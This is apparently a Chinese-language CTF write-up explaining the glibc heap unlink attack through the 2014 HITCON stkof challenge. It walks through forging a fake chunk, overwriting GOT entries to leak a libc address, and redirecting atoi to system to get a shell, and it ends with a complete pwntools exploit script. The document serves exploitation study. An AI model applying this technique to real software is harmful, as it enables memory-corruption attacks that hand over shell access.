今天复习一下unlink的原理及触发方式,这里主要2.29之前的方法,之后的利用写在off_by_none中。

unlink在合并堆块时,会将被合并的堆块从bin链中取出之后的链将变成FD->bk = BK ; BK->fd = FD , 可以利用这种机制在特定的地址处写入堆块(需要满足FD->bk == p ; BK->fd ==p)

以2014 HITCON stkof作为例题演示

在edit中写入的size是可控的,所以存在溢出漏洞

可以发现chunk的地址被存储在了这个地址head,可以通过伪造chunk及其fd,bk从而将chunk写入该位置。

申请三个堆,用于unlink的堆块不可进入fastbin否则无法触发unlink

伪造fackchunk 其fd = head-0x8 ; bk = head,注意其下一chunk的prevsize 和 inuse都需要修改使其认为fakechunk是其上一chunk.

free造成unlink,FD-bk = BK ; BK->fd = FD (如图)

ad(0x20)
ad(0x30)
ad(0x80) #must be smallbin

head = 0x0602140
payload = p64(0) + p64(0x20) + p64(head - 0x8) + p64(head) + p64(0) + p64(0) + p64(0x30) + p64(0x90) # make it believe that prev chunk is at fakechunk
md(2,len(payload),payload)
#gdb.attach(io)
rm(3)

之后可以通过编辑chunk2来leak.将free_got , puts_got , atoi_got 分别填入chunk中,再次编辑将free_got中写入puts_plt,这样调用free可以泄露地址。

payload = b'a' * 8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
md(2,len(payload),payload)
#gdb.attach(io)

payload = p64(elf.plt['puts'])
md(0,len(payload),payload)
rm(1)
puts_addr = io.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
base = puts_addr - libc.sym['puts']
binsh = base + libc.search(b"/bin/sh").__next__()
system = base + libc.sym['system']

最后想atoi_got中写入system,传入bin_sh的参数即可getshell

li("system--->"+hex(system))
md(2,len(p64(system)),p64(system))

io.sendline(p64(binsh))

完整exp如下:

#! /usr/bin/python3
#-*- coding:utf-8 -*-
from pwn import *
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

#------------------------------------------------

io = process('./stkof')

context.log_level='debug'

elf = ELF('./stkof')

libc = elf.libc

context.log_level = 'debug'
#------------------------------------------------

def ad(size):
    io.sendline('1')
    io.sendline(str(size))
    io.recvuntil('OK\n')


def md(idx, size, content):
    io.sendline('2')
    io.sendline(str(idx))
    io.sendline(str(size))
    io.send(content)
    io.recvuntil('OK\n')


def rm(idx):
    io.sendline('3')
    io.sendline(str(idx))

def finish():
    io.interactive()


def exploit():
    ad(0x20)
    ad(0x30)
    ad(0x80) #must be smallbin

    head = 0x0602140
    payload = p64(0) + p64(0x20) + p64(head - 0x8) + p64(head) + p64(0) + p64(0) + p64(0x30) + p64(0x90) # make it believe that prev chunk is at fakechunk
    md(2,len(payload),payload)

    rm(3)
    gdb.attach(io)
    io.recvuntil('OK\n')
    payload = b'a' * 8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
    md(2,len(payload),payload)
    #gdb.attach(io)

    payload = p64(elf.plt['puts'])
    md(0,len(payload),payload)
    rm(1)
    puts_addr = io.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00')
    puts_addr = u64(puts_addr)
    log.success('puts addr: ' + hex(puts_addr))
    base = puts_addr - libc.sym['puts']
    binsh = base + libc.search(b"/bin/sh").__next__()
    system = base + libc.sym['system']

    li("system--->"+hex(system))
    md(2,len(p64(system)),p64(system))

    io.sendline(p64(binsh))

#-------------------------------start

if __name__ == '__main__':
    exploit()
    finish()